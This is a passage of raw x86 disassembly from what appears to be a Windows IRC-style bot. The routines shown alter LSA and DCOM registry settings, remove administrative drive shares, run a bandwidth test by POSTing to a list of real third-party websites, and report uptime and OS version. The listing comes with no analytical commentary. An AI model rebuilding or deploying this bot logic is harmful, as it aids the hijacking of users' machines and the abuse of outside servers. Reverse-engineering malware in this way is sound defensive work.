		cmp	[ebp+arg_C], edi
		jnz	short loc_41A483
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A483:				; CODE XREF: sub_41A3C6+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CBA94
		test	eax, eax
		jnz	short loc_41A4F1
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_4CBA48
		test	eax, eax
		jz	short loc_41A4D3
		push	offset dword_43A770
		jmp	short loc_41A4D8
; ---------------------------------------------------------------------------


loc_41A4D3:				; CODE XREF: sub_41A3C6+104j
		push	offset dword_43A73C


loc_41A4D8:				; CODE XREF: sub_41A3C6+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CBA00
		jmp	short loc_41A50B
; ---------------------------------------------------------------------------


loc_41A4F1:				; CODE XREF: sub_41A3C6+E2j
		push	offset dword_43A700
		jmp	short loc_41A4FD
; ---------------------------------------------------------------------------


loc_41A4F8:				; CODE XREF: sub_41A3C6+13j
		push	offset dword_43A6D0


loc_41A4FD:				; CODE XREF: sub_41A3C6+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A50B:				; CODE XREF: sub_41A3C6+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A52A
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A52A:				; CODE XREF: sub_41A3C6+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		cmp	dword_4CBB1C, edi
		pop	ecx
		jnz	loc_41A6A5
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi


loc_41A54D:				; CODE XREF: sub_41A3C6+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_4CB968
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_41A5EA
		cmp	eax, 0EAh
		jz	short loc_41A5EA
		mov	esi, offset off_43A598


loc_41A57E:				; CODE XREF: sub_41A3C6+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_4191B8
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A595
		push	offset dword_43A6AC
		jmp	short loc_41A59A
; ---------------------------------------------------------------------------


loc_41A595:				; CODE XREF: sub_41A3C6+1C6j
		push	offset dword_43A680


loc_41A59A:				; CODE XREF: sub_41A3C6+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A5CD
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A5CD:				; CODE XREF: sub_41A3C6+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_43A5B8
		jb	short loc_41A57E
		jmp	loc_41A682
; ---------------------------------------------------------------------------


loc_41A5EA:				; CODE XREF: sub_41A3C6+1AAj
					; sub_41A3C6+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41A679


loc_41A5F9:				; CODE XREF: sub_41A3C6+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_41E0B7
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41A66E
		push	edi
		call	sub_4190A5
		push	eax
		push	0
		call	sub_4191B8
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A628
		push	offset dword_43A65C
		jmp	short loc_41A62D
; ---------------------------------------------------------------------------


loc_41A628:				; CODE XREF: sub_41A3C6+259j
		push	offset dword_43A630


loc_41A62D:				; CODE XREF: sub_41A3C6+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A661
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A661:				; CODE XREF: sub_41A3C6+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		pop	ecx


loc_41A66E:				; CODE XREF: sub_41A3C6+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_41A5F9
		xor	edi, edi


loc_41A679:				; CODE XREF: sub_41A3C6+22Dj
		push	[ebp+var_8]
		call	dword_4CBAB4


loc_41A682:				; CODE XREF: sub_41A3C6+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_41A54D
		lea	eax, [ebp+var_214]
		push	offset dword_43A608
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_41A6B8
; ---------------------------------------------------------------------------


loc_41A6A5:				; CODE XREF: sub_41A3C6+177j
		lea	eax, [ebp+var_214]
		push	offset dword_43A5D8
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A6B8:				; CODE XREF: sub_41A3C6+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A6D6
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A6D6:				; CODE XREF: sub_41A3C6+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_41A3C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A6EA	proc near		; CODE XREF: sub_41A366:loc_41A3ADp

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_4CBAF4, ebx
		push	esi
		jnz	loc_41A818
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CBA94
		test	eax, eax
		jnz	short loc_41A775
		mov	ax, word_43932C
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CBA48
		test	eax, eax
		jz	short loc_41A757
		push	offset dword_43A988
		jmp	short loc_41A75C
; ---------------------------------------------------------------------------


loc_41A757:				; CODE XREF: sub_41A6EA+64j
		push	offset dword_43A96C


loc_41A75C:				; CODE XREF: sub_41A6EA+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CBA00
		jmp	short loc_41A788
; ---------------------------------------------------------------------------


loc_41A775:				; CODE XREF: sub_41A6EA+36j
		lea	eax, [ebp+var_220]
		push	offset dword_43A7C0
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A788:				; CODE XREF: sub_41A6EA+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A7A7
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A7A7:				; CODE XREF: sub_41A6EA+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CBA94
		test	eax, eax
		jnz	short loc_41A811
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_4CBA48
		test	eax, eax
		jz	short loc_41A7F3
		push	offset dword_43A92C
		jmp	short loc_41A7F8
; ---------------------------------------------------------------------------


loc_41A7F3:				; CODE XREF: sub_41A6EA+100j
		push	offset dword_43A8F4


loc_41A7F8:				; CODE XREF: sub_41A6EA+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CBA00
		jmp	short loc_41A82B
; ---------------------------------------------------------------------------


loc_41A811:				; CODE XREF: sub_41A6EA+E2j
		push	offset dword_43A8B8
		jmp	short loc_41A81D
; ---------------------------------------------------------------------------


loc_41A818:				; CODE XREF: sub_41A6EA+13j
		push	offset dword_43A6D0


loc_41A81D:				; CODE XREF: sub_41A6EA+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A82B:				; CODE XREF: sub_41A6EA+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A84A
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A84A:				; CODE XREF: sub_41A6EA+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		cmp	dword_4CBB1C, ebx
		pop	ecx
		jnz	loc_41A9BF
		push	edi
		mov	esi, offset off_43A598
		mov	edi, 200h


loc_41A86E:				; CODE XREF: sub_41A6EA+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_41910C
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A889
		push	offset dword_43A898
		jmp	short loc_41A88E
; ---------------------------------------------------------------------------


loc_41A889:				; CODE XREF: sub_41A6EA+196j
		push	offset dword_43A870


loc_41A88E:				; CODE XREF: sub_41A6EA+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A8BD
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A8BD:				; CODE XREF: sub_41A6EA+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_43A5A8
		jb	short loc_41A86E
		nop
		call	near ptr 2850BBEh
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_41A9A7


loc_41A8E8:				; CODE XREF: sub_41A6EA+2B7j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41A99C
		cmp	bl, 41h
		jz	loc_41A99C
		movsx	esi, bl
		push	esi
		push	offset aC_2	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	esi
		push	offset aC_1	; "%c:\\"
		push	0Ah
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4CBA84
		cmp	eax, 3
		jnz	short loc_41A99C
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_41910C
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_41A95A
		push	offset dword_43A898
		jmp	short loc_41A95F
; ---------------------------------------------------------------------------


loc_41A95A:				; CODE XREF: sub_41A6EA+267j
		push	offset dword_43A870


loc_41A95F:				; CODE XREF: sub_41A6EA+26Ej
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A98F
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A98F:				; CODE XREF: sub_41A6EA+289j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		pop	ecx


loc_41A99C:				; CODE XREF: sub_41A6EA+206j
					; sub_41A6EA+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_41A8E8


loc_41A9A7:				; CODE XREF: sub_41A6EA+1F8j
		lea	eax, [ebp+var_220]
		push	offset dword_43A840
		push	eax
		call	sub_41C266
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_41A9D2
; ---------------------------------------------------------------------------


loc_41A9BF:				; CODE XREF: sub_41A6EA+173j
		lea	eax, [ebp+var_220]
		push	offset dword_43A5D8
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A9D2:				; CODE XREF: sub_41A6EA+2D3j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A9F0
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A9F0:				; CODE XREF: sub_41A6EA+2EBj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_41A6EA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AA04	proc near		; CODE XREF: sub_41ABFB+CBp
					; sub_41ABFB+DDp ...

arg_0		= dword	ptr  4

		nop
		call	near ptr 2690E78h
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		cdq
		idiv	[esp+arg_0]
		mov	eax, edx
		retn
sub_41AA04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AA1E	proc near		; CODE XREF: sub_41ABFB+D4p
					; sub_41ABFB+E6p ...

var_38		= dword	ptr -38h
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41B9C0
		mov	esi, 0FFh
		pop	ecx
		cmp	eax, esi
		ja	loc_41ABF7
		push	10h
		lea	eax, [ebp+var_28]
		push	0
		push	eax
		call	sub_41BF70
		push	[ebp+arg_0]
		mov	[ebp+var_28], 2
		call	sub_40A8F0
		add	esp, 10h
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	loc_41ABF7
		push	50h
		call	dword_4CBA24
		push	6
		push	1
		push	2
		mov	[ebp+var_26], ax
		call	dword_4CBAA4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_41ABF7
		lea	ecx, [ebp+var_28]
		push	10h
		push	ecx
		push	eax
		call	dword_4CB9CC
		cmp	eax, 0FFFFFFFFh
		jz	loc_41ABF7
		push	32003h
		call	sub_41D9A5
		mov	edi, dword_4270B0
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_8], ebx
		call	edi
		push	eax
		call	sub_41C2B8
		call	sub_41C2C2
		cdq
		idiv	esi
		mov	[esp+38h+var_38], 32001h
		push	0
		push	ebx
		movsx	esi, dl
		call	sub_41BF70
		push	32000h
		push	esi
		push	ebx
		call	sub_41BF70
		push	ebx
		call	sub_41B9C0
		push	323EAh
		mov	ebx, eax
		call	sub_41D9A5
		add	esp, 20h
		mov	esi, eax
		push	ebx
		push	[ebp+arg_0]
		push	offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
		push	esi
		call	sub_41C266
		push	[ebp+var_8]
		push	esi
		call	sub_41C8A0
		push	offset asc_434A04 ; "\r\n"
		push	esi
		call	sub_41C8A0
		push	esi
		call	sub_41B9C0
		mov	ebx, eax
		add	esp, 24h
		mov	[ebp+var_10], ebx
		call	edi
		mov	dword ptr [ebp+var_18+4], eax
		xor	eax, eax
		test	ebx, ebx
		mov	[ebp+arg_0], eax
		jbe	short loc_41AB77
		mov	[ebp+var_C], ebx
		mov	ebx, 400h
		jmp	short loc_41AB47
; ---------------------------------------------------------------------------


loc_41AB44:				; CODE XREF: sub_41AA1E+157j
		mov	eax, [ebp+arg_0]


loc_41AB47:				; CODE XREF: sub_41AA1E+124j
		mov	ecx, [ebp+var_10]
		push	0
		sub	ecx, eax
		cmp	ecx, ebx
		jnb	short loc_41AB57
		push	[ebp+var_C]
		jmp	short loc_41AB58
; ---------------------------------------------------------------------------


loc_41AB57:				; CODE XREF: sub_41AA1E+132j
		push	ebx


loc_41AB58:				; CODE XREF: sub_41AA1E+137j
		add	eax, esi
		push	eax
		push	[ebp+var_4]
		call	dword_4CBA74
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41ABDE
		add	[ebp+arg_0], ebx
		sub	[ebp+var_C], ebx
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_10]
		jb	short loc_41AB44


loc_41AB77:				; CODE XREF: sub_41AA1E+11Aj
		call	edi
		sub	eax, dword ptr [ebp+var_18+4]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		fmul	flt_4276F4
		fst	[ebp+arg_0]
		fcomp	flt_4276F0
		fnstsw	ax
		sahf
		jnz	short loc_41AB9F
		fld1
		fstp	[ebp+arg_0]


loc_41AB9F:				; CODE XREF: sub_41AA1E+17Aj
		push	[ebp+var_4]
		call	dword_4CBABC
		push	[ebp+var_8]
		call	sub_41BA91
		push	esi
		call	sub_41BA91
		mov	eax, [ebp+var_10]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		pop	ecx
		fild	[ebp+var_18]
		pop	ecx
		fdiv	[ebp+arg_0]
		fmul	flt_4276EC
		fmul	flt_4276E8
		call	sub_41D174


loc_41ABD9:				; CODE XREF: sub_41AA1E+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41ABDE:				; CODE XREF: sub_41AA1E+149j
		push	[ebp+var_4]
		call	dword_4CBABC
		push	[ebp+var_8]
		call	sub_41BA91
		push	esi
		call	sub_41BA91
		pop	ecx
		pop	ecx


loc_41ABF7:				; CODE XREF: sub_41AA1E+19j
					; sub_41AA1E+42j ...
		xor	eax, eax
		jmp	short loc_41ABD9
sub_41AA1E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ABFB	proc near		; CODE XREF: sub_401ACD+2E1Ep

var_26C		= byte ptr -26Ch
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	8
		mov	[ebp+var_4], 3
		mov	[ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
		mov	[ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
		mov	[ebp+var_34], offset aVerio_fr ; "verio.fr"
		mov	[ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
		mov	[ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
		mov	[ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
		mov	[ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
		mov	[ebp+var_20], offset aWww_google_it ; "www.google.it"
		mov	[ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
		mov	[ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
		mov	[ebp+var_64], offset aWww_verio_com ; "www.verio.com"
		mov	[ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
		mov	[ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
		mov	[ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
		mov	[ebp+var_54], offset aWww_burst_net ; "www.burst.net"
		mov	[ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
		mov	[ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
		mov	[ebp+var_48], offset aWww_above_net ; "www.above.net"
		mov	[ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
		mov	[ebp+var_40], offset aWww_google_com ; "www.google.com"
		mov	[ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
		mov	[ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
		mov	[ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
		mov	[ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
		mov	[ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
		mov	[ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
		call	sub_41AA04
		push	[ebp+eax*4+var_3C]
		call	sub_41AA1E
		push	8
		mov	esi, eax
		call	sub_41AA04
		push	[ebp+eax*4+var_3C]
		call	sub_41AA1E
		add	esp, 10h
		test	esi, esi
		jz	short loc_41ACFC
		test	eax, eax
		jz	short loc_41ACF8
		lea	ebx, [eax+esi]
		shr	ebx, 1
		jmp	short loc_41ACFE
; ---------------------------------------------------------------------------


loc_41ACF8:				; CODE XREF: sub_41ABFB+F4j
		mov	ebx, esi
		jmp	short loc_41ACFE
; ---------------------------------------------------------------------------


loc_41ACFC:				; CODE XREF: sub_41ABFB+F0j
		mov	ebx, eax


loc_41ACFE:				; CODE XREF: sub_41ABFB+FBj
					; sub_41ABFB+FFj
		push	0Ch
		call	sub_41AA04
		push	[ebp+eax*4+var_6C]
		call	sub_41AA1E
		push	0Ch
		mov	edi, eax
		call	sub_41AA04
		push	[ebp+eax*4+var_6C]
		call	sub_41AA1E
		add	esp, 10h
		test	edi, edi
		jz	short loc_41AD36
		test	eax, eax
		jz	short loc_41AD32
		lea	esi, [eax+edi]
		shr	esi, 1
		jmp	short loc_41AD38
; ---------------------------------------------------------------------------


loc_41AD32:				; CODE XREF: sub_41ABFB+12Ej
		mov	esi, edi
		jmp	short loc_41AD38
; ---------------------------------------------------------------------------


loc_41AD36:				; CODE XREF: sub_41ABFB+12Aj
		mov	esi, eax


loc_41AD38:				; CODE XREF: sub_41ABFB+135j
					; sub_41ABFB+139j
		push	6
		call	sub_41AA04
		push	[ebp+eax*4+var_1C]
		call	sub_41AA1E
		push	6
		mov	edi, eax
		call	sub_41AA04
		push	[ebp+eax*4+var_1C]
		call	sub_41AA1E
		add	esp, 10h
		test	edi, edi
		jz	short loc_41AD70
		test	eax, eax
		jz	short loc_41AD6C
		lea	ecx, [eax+edi]
		shr	ecx, 1
		jmp	short loc_41AD72
; ---------------------------------------------------------------------------


loc_41AD6C:				; CODE XREF: sub_41ABFB+168j
		mov	ecx, edi
		jmp	short loc_41AD72
; ---------------------------------------------------------------------------


loc_41AD70:				; CODE XREF: sub_41ABFB+164j
		mov	ecx, eax


loc_41AD72:				; CODE XREF: sub_41ABFB+16Fj
					; sub_41ABFB+173j
		xor	eax, eax
		test	ebx, ebx
		jz	short loc_41AD7F
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41AD82
; ---------------------------------------------------------------------------


loc_41AD7F:				; CODE XREF: sub_41ABFB+17Bj
		push	2
		pop	edi


loc_41AD82:				; CODE XREF: sub_41ABFB+182j
		test	esi, esi
		jz	short loc_41AD8A
		add	eax, esi
		jmp	short loc_41AD8B
; ---------------------------------------------------------------------------


loc_41AD8A:				; CODE XREF: sub_41ABFB+189j
		dec	edi


loc_41AD8B:				; CODE XREF: sub_41ABFB+18Dj
		test	ecx, ecx
		jz	short loc_41AD93
		add	eax, ecx
		jmp	short loc_41AD94
; ---------------------------------------------------------------------------


loc_41AD93:				; CODE XREF: sub_41ABFB+192j
		dec	edi


loc_41AD94:				; CODE XREF: sub_41ABFB+196j
		xor	edx, edx
		div	edi
		push	eax
		push	ecx
		push	esi
		push	ebx
		lea	eax, [ebp+var_26C]
		push	offset dword_43A9E0
		push	eax
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_26C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_415D38
		add	esp, 30h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41ABFB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ADD8	proc near		; CODE XREF: sub_401ACD+257Bp
					; sub_401ACD+29CDp ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		call	near ptr 2690E78h
		nop
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_4DBCE0
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_41C360
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41ADD8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AE41	proc near		; CODE XREF: sub_4172C1+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		nop
		call	near ptr 26D0501h
		test	eax, eax
		jz	short loc_41AED4
		cmp	[ebp+var_90], 4
		jnz	short loc_41AEAA
		cmp	[ebp+var_8C], esi
		jnz	short loc_41AE92
		cmp	[ebp+var_84], 1
		jnz	short loc_41AE85
		push	1
		pop	esi


loc_41AE85:				; CODE XREF: sub_41AE41+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_41AED4
		push	1
		jmp	short loc_41AED3
; ---------------------------------------------------------------------------


loc_41AE92:				; CODE XREF: sub_41AE41+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_41AE9F


loc_41AE9B:				; CODE XREF: sub_41AE41+78j
		push	2
		jmp	short loc_41AED3
; ---------------------------------------------------------------------------


loc_41AE9F:				; CODE XREF: sub_41AE41+58j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_41AED4
		jmp	short loc_41AEC4
; ---------------------------------------------------------------------------


loc_41AEAA:				; CODE XREF: sub_41AE41+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_41AED4
		cmp	[ebp+var_8C], esi
		jz	short loc_41AE9B
		cmp	[ebp+var_8C], 1
		jnz	short loc_41AEC8


loc_41AEC4:				; CODE XREF: sub_41AE41+67j
		push	3
		jmp	short loc_41AED3
; ---------------------------------------------------------------------------


loc_41AEC8:				; CODE XREF: sub_41AE41+81j
		cmp	[ebp+var_8C], 2
		jnz	short loc_41AED4
		push	7


loc_41AED3:				; CODE XREF: sub_41AE41+4Fj
					; sub_41AE41+5Cj ...
		pop	esi


loc_41AED4:				; CODE XREF: sub_41AE41+25j
					; sub_41AE41+4Bj ...
		mov	eax, esi
		pop	esi
		leave
